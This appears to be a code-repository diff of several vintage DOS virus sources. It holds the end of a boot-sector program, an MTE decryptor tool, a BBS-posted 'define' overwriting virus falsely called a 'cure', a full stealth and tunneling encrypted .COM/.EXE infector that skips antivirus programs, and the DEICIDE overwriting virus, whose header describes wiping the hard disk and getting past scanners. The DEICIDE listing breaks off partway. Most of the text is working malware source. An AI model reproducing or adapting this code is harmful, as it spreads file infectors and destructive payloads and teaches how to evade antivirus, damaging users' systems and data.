xor dh,dh ; Zero register
mov cl,1
retf 2 ; Return far
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
cmp dl,79h ; 'y'
ja loc_10 ; Jump if above
mov ax,es:[bx+16h]
mov dh,1
cmp al,3
jae loc_9 ; Jump if above or =
mov cl,3
retn
loc_9:
cmp al,7
jae loc_10 ; Jump if above or =
mov cl,5
retn
loc_10:
mov cl,0Eh
retn
sub_2 endp
;* No entry point to code
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_3e
and al,0Ch
cmp al,0Ch
jne loc_11 ; Jump if not equal
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
jne loc_11 ; Jump if not equal
in al,61h ; port 61h, 8255 port B, read
push ax
or al,80h
out 61h,al ; port 61h, 8255 B - spkr, etc
pop ax
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
mov ax,2
int 10h ; Video display ah=functn 00h
; set display mode in al
mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
int 19h ; Bootstrap loader
loc_11:
mov al,ds:data_4e
mov ds:data_1e,ax
mov ds:data_2e,ax
push cs
pop ds
cmp al,ds:data_19e
jbe $+1Ah ; Jump if below or =
xor ax,ax ; Zero register
int 10h ; Video display ah=functn 00h
; set display mode in al
mov si,data_18e
loc_12:
mov ah,0Eh
xor bx,bx ; Zero register
cld ; Clear direction
lodsb ; String [si] to al
cmp al,0FFh
je loc_13 ; Jump if equal
xor al,55h ; 'U'
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_12
loc_13:
hlt ; Halt processor
pop ds
pop ax
jmp far ptr $-1930h
db 0C9h, 0Fh, 80h, 01h, 01h, 00h
db 06h, 0Eh,0E2h,0E7h, 22h, 00h
db 00h, 00h, 0Eh,0C8h, 07h
db 49 dup (0)
db 55h,0AAh
seg_a ends
end start
+235
View File
@@ -0,0 +1,235 @@
;DECOM - has few safety features right now, be careful =)
.model tiny
.radix 16
.code
org 100
include wolf.lib
start:
printf intro, ds
Release_Memory:
mov bx,(end_unmte-start+10f)/10 ;Release all but what
changealloc bx,es ;our prog needs.
Allocate_Block_For_MTE_Prog: ;Allocate memory for
mov bx,1000 ;MTE-inf prog.
alloc bx
jnc Memory_Good
jmp exit
Memory_Good:
push ax
Get_Filenames:
printf Enter_FN, ds
gets filename_buf, ds, 30
printf Enter_DN, ds
gets unenc_buf, ds, 30
Open_Prog:
fopen 0, filename, cs
jnc Load_Prog
printf Bad_File, ds
jmp Get_Filenames
Load_Prog:
pop ax
sub ax,10
mov ds,ax ;Convert Seg:0 to Seg:100
fread bx, 0ffff, 100, ax
mov cs:[MTE_Size],ax
mov cs:[MTE_Segment],ds
Close_Prog:
fclose bx
Setup_Trace:
push ds ds
mov byte ptr cs:[Success],1
push cs
pop ds
get_int 1
mov word ptr [IP_01],bx
mov word ptr [CS_01],es
set_int 1, Int_01_Handler, ds
pop ds es ;restore segment regs to MTE prog
cli
mov ax,ds
mov ss,ax ;setup new stack
mov sp,0fffe
sti
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax ;Zero all registers
mov si,ax
mov di,ax
mov bp,ax
pushf ;Setup stack for IRET to code
pop ax
or ax,100
push ax ;Set flag on IRET
push ds
mov ax,100
push ax
xor ax,ax
iret ;Jump to MTE prog with trap set.
Done_Trace:
push cs cs
pop es ds ;restore seg regs
cli
mov ax,ds
mov ss,ax ;reset stack
mov sp,0fffe
sti
Restore_Int_01:
mov dx, word ptr cs:[CS_01]
mov ds,dx
mov dx, word ptr cs:[IP_01]
set_int 1, dx, ds
push cs
pop ds
cmp byte ptr cs:[Success],0
jne Save_It
printf halted, ds
jmp Exit
Save_It:
mov ah,3c
xor cx,cx
mov dx,offset Unencrypted
int 21
xchg bx,ax
mov ah,40
mov dx,word ptr cs:[MTE_Segment]
mov ds,dx
mov dx,100
mov cx,word ptr cs:[MTE_Size]
int 21
mov ah,3e
int 21
Exit:
terminate
Int_01_Handler:
push bp
mov bp,sp
push ax bx cx dx es ds si di
mov bx, word ptr ss:[bp+4] ;CS
mov ds,bx
mov bx,word ptr ss:[bp+2] ;IP
mov ax,word ptr ss:[bp+6] ;flags
and ax,40
cmp byte ptr ds:[bx],0cdh ;Interrupt call
je Stop_Execution
cmp byte ptr ds:[bx],9a ;Far Call
je Stop_Execution
cmp byte ptr ds:[bx],9c ;Pushf
je Stop_Execution
ES_DS_CHeck:
push bx
mov bx,ds
cmp word ptr ds:[bp-0c],bx ;CS != DS
jne Done_Check
cmp word ptr ds:[bp-0a],bx ;CS != ES
Done_Check:
pop bx
jne Stop_Execution
Check_For_Encryption_Loop:
cmp byte ptr ds:[bx],75 ;Check if JNZ (end of MTE decrypt)
je Is_JNZ
cmp byte ptr ds:[bx],74 ;Check for other loop jumps..
je Is_JZ
cmp byte ptr ds:[bx],0e0
je Is_LOOPNZ
cmp byte ptr ds:[bx],0e1
je Is_LOOPZ
cmp byte ptr ds:[bx],0e2
je Is_LOOP
Continue_Decrypt:
Done_Int_01_Handler:
pop di si ds es dx cx bx ax
pop bp
iret
Stop_Execution:
mov byte ptr cs:[Success],0
jmp Done_Trace
Is_LOOPNZ:
Is_JNZ:
or ax,ax
jz Jump_True
jmp Jump_False
Is_LOOPZ:
Is_JZ:
or ax,ax
jz Jump_False
jmp Jump_True
Is_LOOP:
dec cx
jz Jump_False
jmp Jump_True
Jump_False:
cmp byte ptr ds:[bx+1], 80
jae Done_Decrypt
jmp Continue_Decrypt
Jump_True:
cmp byte ptr ds:[bx+1],80
;jae Continue_Decrypt
jmp Continue_Decrypt ;MTE only... change later
Done_Decrypt:
jmp Done_Trace
IP_01 dw 0
CS_01 dw 0
MTE_Segment dw 0
MTE_Size dw 0
Success db 0
halted db 0a,0dh,'Sorry, cannot decrypt file safely.',0
intro db 'DECOM 0.9á, COM (MTE) File Decryptor (c) 1993 Black Wolf.',0a,0dh
db 'Beta-Test Version, Use At Your Own Risk.',0
Enter_FN db 0a,0dh,'Please Enter Source Filename: ',0
Enter_DN db 0a,0dh,'Now Enter The Destination Filename: ',0
Bad_File db 0a,0dh,'Sorry, file not found.',0
filename_buf db ?,?
filename db 30 dup(?)
unenc_buf db ?,?
unencrypted db 30 dup(?)
end_unmte:
end start
+67
View File
@@ -0,0 +1,67 @@
;===========================================================================
;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS
;From: Mike Hathorn Refer#: NONE
;To: All Recvd: NO
;Subj: define Conf: (54) Virus
;---------------------------------------------------------------------------
;Gentlemen,
;The following assembly source code is the cure for the define
;virus. Define, because it is my belief that by the definition
;of a virus, no stable virus can be written smaller than define.
; Code compiled under MASM ver 4.00
; Use DOS EXE2BIN to convert to .COM file
; Code assumes SI=100h, AX=00h
; (c) 1991 Mithrandir
TITLE DEFINE
CODE SEGMENT
ASSUME CS : CODE
ORG 100h
VIRUS_CURE:
XCHG CX,AX ;exchange register values and setup search
;for normal files
MOV AH,4Eh ;setup search for first match
MOV DX,OFFSET File ;point to search criteria
INT 21h ;search for any normal file
MOV AX,3D01h ;setup open file with write access
MOV DX,09Eh ;point to file ASCIIZ spec
INT 21h ;open file
XCHG BX,AX
MOV AH,40h ;setup write to file
MOV DX,SI ;write this code
MOV CX,SI ;this many bytes
INT 21h ;write it
RET
File:
DB '*.*',0
CODE ENDS
END VIRUS_CURE
;Mithrandir
;--- Opus-CBCS 1.14
;* Origin: The Mad Dog Opus (5:7104/3.0)
+960
View File
@@ -0,0 +1,960 @@
; =======================================================================>
PING equ 0BF1h ; a worthless DOS function
PONG equ 0DEAFh ; response to residency test
code segment
org 100h
assume cs:code,ds:code
start:
jmp virus_begin ; fake host program
db 26 dup (0)
virus_begin:
db 0BBh ; mov bx,
code_offset dw 0
db 0B0h ; mov al,
cipher db 0
decrypt:
db 02Eh ; cs:
decryptor_1: xor [bx],al
inc bx
shift_1: neg al
db 81h,0FBh ; cmp bx,
code_offset_2 dw 0
jbe decrypt
viral_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es ; save segregs
jmp kill_sourcer ; mess with disassemblers
db 0E9h
kill_sourcer:
xor ah,ah ; create or delete the
int 1Ah ; \DEI.COM file at random
cmp dx,0FE00h ; times ...
jb dont_drop
call drop_program
jmp dont_delete
dont_drop:
cmp dx,0800h
ja dont_delete
call delete_program
dont_delete:
mov ax,PING ; residency test
int 21h
cmp bx,PONG ; if installed,
jne not_installed ; don't install again
jmp installed
not_installed:
mov ax,es ; install ourselves
dec ax ; in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h] ; doing some calculations and
mov ds,ax ; a bit of manipulation to
sub ax,15 ; memory
mov es,ax ; ES points to our destiny
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
push cs ; zopy it
pop ds
mov di,100h
mov cx,virus_end - start
lea si,[bp + start]
rep movsb
xor ax,ax
mov ds,ax
sub word ptr ds:[413h],7 ; allocate memory from BIOS
mov si,21h * 4 ; saving old interrupt 21
mov di,offset old_int_21 ; first
movsw
movsw
lea dx,[bp + int_1]
mov ds:[4],dx ; recursive tunneling -
mov ds:[6],cs ; trace through interrupt 21
push es
mov ah,52h ; get list of lists
int 21h ; for segment of DOS's int 21
mov ax,es
mov cs:[bp + int_21_seg],ax
pop es
mov [bp + our_es],es
mov ax,100h ; set trap flag
push ax
popf
mov ah,0Bh ; and send us down the tunnel
pushf
call dword ptr ds:[21h * 4]
xor ax,ax ; turn off trap flag
push ax
popf
mov word ptr ds:[si - 4],0 ; little anti-trace ...
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new interrupt 21
installed:
pop es ds
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
je exe_exit ; if so, exit as such
com_exit:
lea si,[bp + offset host] ; restore original header
mov di,100h
push di
mov cx,28
rep movsb
call reset_regs
ret ; and leave
exe_exit:
mov ax,ds
add ax,cs:[bp + exe_cs]
mov word ptr cs:[bp + jump_to + 2],ax
mov ax,cs:[bp + exe_ip]
mov word ptr cs:[bp + jump_to],ax
mov ax,ds
add ax,cs:[bp + exe_ss] ; restore original stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call reset_regs ; reset registers
db 0EAh
jump_to dd 0
reset_regs:
mov si,100h
xor ax,ax
xor bx,bx
xor di,di
xor bp,bp
ret
; int 1 handler for tunneling.
int_21_seg dw 0 ; original int 21 segment
our_es dw 0 ; our ES
int_1:
push bp ; save registers used
mov bp,sp
push ax
mov ax,[bp + 4] ; SEGMENT of next instruction
push bp
call get_dest_seg ; get location pointer
get_dest_seg:
pop bp
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
pop bp ; restore BP
jbe tunneled ; found, we're through
push ds si ; no, check next instruction
mov ds,ax
mov si,[bp + 2] ; OFFSET of next instruction
lodsb ; next instruction in AL
cmp al,0CFh ; IRET instruction?
je set_iret ; adjust accordingly
cmp al,09Dh ; POPF instruction?
je set_popf ; adjust
jmp flag_check_done ; never mind ...
tunneled: ; we're done ... save segment
push es si
call get_our_es
get_our_es:
pop si
mov si,cs:[si - (get_our_es - our_es)]
mov es,si
mov word ptr es:[old_int_21 + 2],ax
mov ax,[bp + 2] ; and offset
mov word ptr es:[old_int_21],ax
and [bp + 6],0FEFFh ; deinstall tunnel routine
pop si es
jmp exit
set_iret:
or [bp + 10],100h ; OFFSET of second interrupt
jmp flag_check_done ; call on stack (flags)
set_popf:
or [bp + 6],100h ; OFFSET of word before
; interrupt call on stack
flag_check_done:
pop si ds
exit:
pop ax bp
iret
; int 24 handler.
; DOS changes it back automatically.
new_int_24:
mov al,3 ; simple enough
iret
; ================================================>
; int 21 handler.
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
; ================================================>
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; are we checking on ourself?
je pass_signal ; yes, give the signal
cmp ax,4B00h ; program execution?
je execute ; uh - huh
cmp ah,11h ; directory stealth method 1
je dir_stealth_1 ; (hide from DIR listing)
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; directory stealth method 2
je dir_stealth_2 ; (hide from ASCIIZ search)
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open method 1
jne go_on
jmp file_open
go_on:
cmp ah,6Ch ; file open method 2
jne go_on_2
jmp file_open
go_on_2:
cmp ah,3Fh ; file read
jne go_on_3
jmp file_read
go_on_3:
cmp ax,5700h ; get date
jne int_21_exit
jmp fix_date
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
pass_signal:
mov bx,PONG ; pass signal
jmp int_21_exit
execute:
call check_name
jc skip_infect ; don't infect if marked
call infect_ds_dx ; simple enough ...
skip_infect:
jmp int_21_exit
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call try_infecting ; try to infect file
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; check datestamp
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h ; get SFTs
int 2Fh
nop
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; 100+ years
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 28
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
jb date_fixed ; fix it up
ror dh,1
sub dh,100
rol dh,1
date_fixed:
iret
an_error:
retf 2
; Called routines
; this routine checks for a .COM or .EXE file
try_infecting:
push di es cx ax
cmp ax,6C00h ; extended open fix
jne get_ext
xchg dx,si
get_ext:
mov di,dx ; find program extension
push ds
pop es
mov cx,64
mov al,'.'
repnz scasb
pop ax
jcxz let_it_be ; ... "ecch" ...
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; maybe .EXE, then
cmp byte ptr [di + 2],'M'
jne let_it_be ; not program, don't infect
jmp yes_infect_it
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne one_more_try ; maybe ... .OVL?
cmp byte ptr [di + 2],'E'
jne let_it_be
jmp yes_infect_it
one_more_try:
cmp [di],'VO' ; .OVL file?
jne let_it_be
cmp byte ptr [di + 2],'L'
jne let_it_be
yes_infect_it:
call check_name ; don't infect forbidden
jc let_it_be ; programs
call infect_ds_dx
let_it_be:
cmp ah,6Ch ; extended open fixup
jne get_out
xchg dx,si
get_out:
pop cx es di
ret
; this routine checks the filename at DS:DX for certain 'bad' programs
check_name:
push ax cx es di
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN
jne pass_1
cmp word ptr [di - 5],'CS'
je av_prog
pass_1:
cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT
jne pass_2
cmp word ptr [di - 5],'RP'
je av_prog
pass_2:
cmp word ptr [di - 3],'DN' ; COMMAND.COM
jne pass_3 ; ("Bad or Missing," etc.)
cmp word ptr [di - 5],'AM'
je av_prog
pass_3:
cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC
jne pass_4 ; ("Packed file is corrupt")
cmp word ptr [di - 7],'BQ'
je av_prog
pass_4:
clc ; passed the test
jmp check_complete
av_prog:
stc ; ack! *GAG* *boo* *hiss*
check_complete:
pop di es cx ax
ret
; this routine infects the file at DS:DX
infect_ds_dx:
push ax bx cx dx si di ds es
in al,21h ; some anti-trace
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,3D00h ; read-only ... we'll change
call int_21 ; it later, but it won't trip
jnc hook_24 ; some AV monitors
jmp cant_open
hook_24:
xor bx,bx ; hook int 24h
mov ds,bx ; prevent write protect errors
mov ds:[24h * 4],offset new_int_24
mov ds:[24h * 4 + 2],cs
xchg bx,ax ; get system file tables
push bx
mov ax,1220h
int 2Fh
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; if already infected,
jae dont_infect ; don't do it again
mov word ptr es:[di + 2],2 ; change mode to R/W
push cs ; read in 28 bytes of
pop ds ; our potential host ...
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh ; (carefully avoiding
call int_21 ; our stealth routine)
cmp word ptr read_buffer,'ZM'
je infect_exe ; if .EXE, infect as one
mov exe_flag,0 ; infect as .COM
mov ax,es:[di + 11h] ; get file size
cmp ax,65279 - VIRUS_SIZE + 28
ja dont_infect ; don't infect; too big
cmp ax,28
jb dont_infect ; don't infect; too small
mov es:[di + 15h],ax ; move to end of file
; (I just love the SFTs ...)
call encrypt_and_write_virus ; encrypt the virus code
; then write it to the file
mov dx,offset read_buffer ; store original
mov cx,28 ; header
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0 ; and lastly, back to
; the beginning of the file
mov dx,offset new_header ; to add the new header
mov ah,40h
mov cx,22 ; our header's only 22 bytesx
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
dont_infect:
mov ah,3Eh ; and close the file
call int_21
cant_open:
jmp infect_exit ; infection done; exit
infect_exe:
cmp word ptr read_buffer[24],'@'
jne not_windows
jmp infect_exit ; Windows .EXE, don't infect
not_windows:
cmp word ptr read_buffer[26],0
je not_overlay
jmp infect_exit ; overlay .EXE, don't infect
not_overlay:
mov exe_flag,1 ; infect as .EXE
push es di ; move original header
push cs ; into new header area
pop es
mov si,offset read_buffer
mov di,offset header_buffer
mov cx,28
rep movsb
pop di es
push es:[di + 11h] ; save file size on stack
push es:[di + 13h]
push word ptr read_buffer[22] ; CS ...
pop exe_cs
add exe_cs,10h ; (adjust)
push word ptr read_buffer[20] ; IP ...
pop exe_ip
push word ptr read_buffer[14] ; SS ...
pop exe_ss
add exe_ss,10h ; (adjust)
push word ptr read_buffer[16] ; and SP
pop exe_sp
pop dx ax ; now we calculate new CS:IP
push ax dx ; (save these for later)
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
pop dx ax
add ax,VIRUS_SIZE + 28
adc dx,0
push ax dx
mov cl,4 ; create a stack segment
shr ax,cl
add ax,200
cmp ax,word ptr read_buffer[14]
jb no_new_stack ; if theirs is better, skip it
mov dx,-2 ; set SP to FFFE always
mov word ptr read_buffer[14],ax
mov word ptr read_buffer[16],dx
no_new_stack:
pop dx ax ; now calculate program size
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov ax,4202h ; this is just easier
cwd ; than using the SFTs
xor cx,cx
call int_21
mov ax,word ptr read_buffer[20] ; get code offset
call encrypt_and_write_virus ; encrypt virus code
; and write it to the file
mov dx,offset header_buffer ; write original header
mov cx,28 ; to file
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0
mov word ptr es:[di + 17h],0 ; back to beginning of file
mov dx,offset read_buffer ; and write new header to file
mov ah,40h
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
mov ah,3Eh ; close file
call int_21
infect_exit:
pop es ds di si dx cx bx ax ; done ... leave
ret
encrypt_and_write_virus:
push es di bx ax ; save code offset and SFT
mov bx,ax
xor ah,ah ; get random number from
int 1Ah ; system clock
mov cipher,dl ; and use it for encryption
pop ax ; fix up offset
cmp exe_flag,0
jne not_org_100h
add ax,100h
not_org_100h:
add ax,(viral_code - virus_begin)
mov ds:code_offset,ax
add ax,(virus_end - viral_code) - 1 ; second offset
mov ds:code_offset_2,ax
mov si,offset virus_begin
mov di,offset encrypt_buffer
push cs ; move decryption module
pop es
mov cx,viral_code - virus_begin
rep movsb
mov si,offset viral_code
mov cx,virus_end - viral_code
encrypt: ; now encrypt virus code
lodsb ; with a simple encryption
decryptor_2:
xor al,dl ; key ...
shift_2:
neg dl
stosb
loop encrypt
cmp exe_flag,0 ; if .COM file,
jne exe_infection
mov ax,bx
call create_header ; create unique header
exe_infection:
pop bx di es ; restore SFT
mov ah,40h ; wrte virus code to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
call int_21
ret
check_datestamp:
mov ax,es:[di + 0Fh] ; a little routine to
cmp ah,100 ; check timestamps
ret
drop_program:
lea dx,[bp + offset weirdo] ; this creates our
push ds ; little signature
push cs
pop ds
mov ah,3Ch
mov cx,3
int 21h
jc no_drop
xchg ax,bx
mov ah,40h
mov cx,(drop_me_end - drop_me)
lea dx,[bp + offset drop_me]
int 21h
mov ah,3Eh
int 21h
no_drop:
pop ds
ret
delete_program:
mov ah,41h
lea dx,[bp + offset weirdo]
push ds
push cs
pop ds
int 21h
pop ds
ret
create_header:
push ax
add ax,100h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push dx ; modify header a little ...
and cl,7 ; make things weirder ...
add cl,0B0h
mov ds:mov_reg,cl
and dl,3
add dl,0B8h
mov ds:mov_regx,dl
pop dx
push cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop ax
sub ax,20 ; fix up JMP instruction
mov ds:new_jump,ax
ret ; done
new_header db 0C7h,06
mov_1 dw 00
db 2Eh
decryptor_3 db 30h ; first MOV
mov_reg db 0B0h
mov_al db 00 ; a nothing MOV bytereg,
db 0C7h,06
mov_2 dw 00
db 07,043h ; second MOV
mov_regx db 0B8h
mov_ax dw 00 ; a nothing MOV wordreg,
db 0E9h ; jump instruction
new_jump dw 0 ; virus offset
exe_flag db 0
exe_cs dw 0 ; EXE code/stack settings
exe_ip dw 0
exe_ss dw 0
exe_sp dw 0
drop_me:
mov ah,9 ; this program is dropped
mov dx,109h ; at random times within
int 21h ; the root directory as
int 20h ; \DEI.COM
sig db 'Devils & Evangels, Inc. '
db '[DEI] MnemoniX $',0
drop_me_end:
db 'v2.00'
weirdo db '\DEI.COM',0
virus_end:
host:
mov ah,4Ch ; fake host program
int 21h
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?)
header_buffer db 28 dup (?)
encrypt_buffer db VIRUS_SIZE dup (?)
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
+218
View File
@@ -0,0 +1,218 @@
;***************************************************************************
; Source code of the DEICIDE Virus, original author: Glen Benton
; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
; in Crypt Newsletter #7. The Crypt reader will also notice the
; DEICIDE listing has NO declarative red tape - no org's, no assume
; cs,ds,es stuff, no start/ends pairs or proc labels. For the average
; reader, this means TASM and MASM will choke if you try to get them to
; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying,
; and this listing can be assembled directly to a .COMfile
; without the need of a linker.
;
; DEICIDE virus is a kamikaze overwriting .COM infector, with a length
; of 666 bytes in its original state. With A86, you get 665 bytes, which, we
; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP
; to the listing if this bugs you too much.) Anyway, on call DEICIDE
; jumps right to the root directory where it looks for a any .COM file
; except COMMAND.COM to infect.
;
; If all files are infected, and DEICIDE is not on the C drive it attempts to
; ruin it anyway. If all files in the root on C are infected, the fixed disk
; is destroyed, a message displayed and the computer hung.
; If a program is successfully overwritten, DEICIDE exits to DOS
; after displaying 'File corruption error.' If DEICIDE is trapped on
; a diskette that is write-protected, it will generate noxious 'Abort,
; Retry, Ignore, Fail' messages.
;
; You can work with DEICIDE quite easily by commenting out the destructive
; sequence and reassembling. Then it will merely mess up .COM's in
; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE
; will promptly foul your command processor and the operating system
; won't load properly when you reboot. In an interesting side note,
; removing the destructive payload of DEICIDE causes SCAN to lose sight of
; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool
; your friends who think you've written a virus from scratch.)
; The DEBUG script of DEICIDE has the destructive payload "rearranged" and
; is not, strictly speaking, identical to this listing. This has made
; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2)
; functionally similar to the original, but
; still invisible to SCAN v85b and a number of other commercial products.
; The lesson to be learned here is that software developers shouldn't choose
; generic disk overwriting payloads as signatures for their scanners.
;
; I must confess I'm fascinated by the mind that went into creating DEICIDE.
; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus.
; Think a moment. How many files are in your root directory? How long before
; this sucker activated and spoiled your afternoon? Once? Twice? In
; any case, it still is an easily understood piece of code, enjoying its
; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH.
;***************************************************************************
Start_Prog: jmp short Start_Virus
nop
Message db 0Dh,0Ah,'DEICIDE!'
db 0Dh,0Ah
db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!'
db 0Dh,0Ah
db 0Dh,0Ah,'Next time be carufull with illegal stuff......$'
Start_Virus: mov ah,19h ; Get actual drive
int 21h
db 0A2h ; Mov [EA],al
dw offset Infect_Drive
db 0A2h ; A86 assembles this differently
dw offset Actual_Drive ; so put the original code here
mov ah,47h ; Get actual directory
mov dl,0
mov si,offset Actual_Dir
int 21h
mov ah,1Ah ; stash DTA in safe place
mov dx,offset New_DTA
int 21h
Infect_Next: mov ah,3Bh ; DOS chdir function, go to root dir
mov dx,offset Root_Dir
int 21h
mov ah,4Eh ; Search first .COM file
mov cx,0
mov dx,offset Search_Path ; using file mask
int 21h
Check_Command: mov al,'D' ; Check if 7th char is a 'D' (To prevent
cmp [New_DTA+24h],al ; infecting COMMAND.COM, causing
jnz Check_Infect ; noticeable boot failure)
jmp short Search_Next
nop
Check_Infect: mov ah,3Dh ; Open found file with write access
mov al,2
mov dx,offset New_DTA+1Eh
int 21h
mov File_Handle,ax ; Save handle
mov bx,ax
mov ah,57h ; Get date/time of file
mov al,0 ; why, for Heaven's sake?
int 21h
mov File_Date,dx
mov File_Time,cx
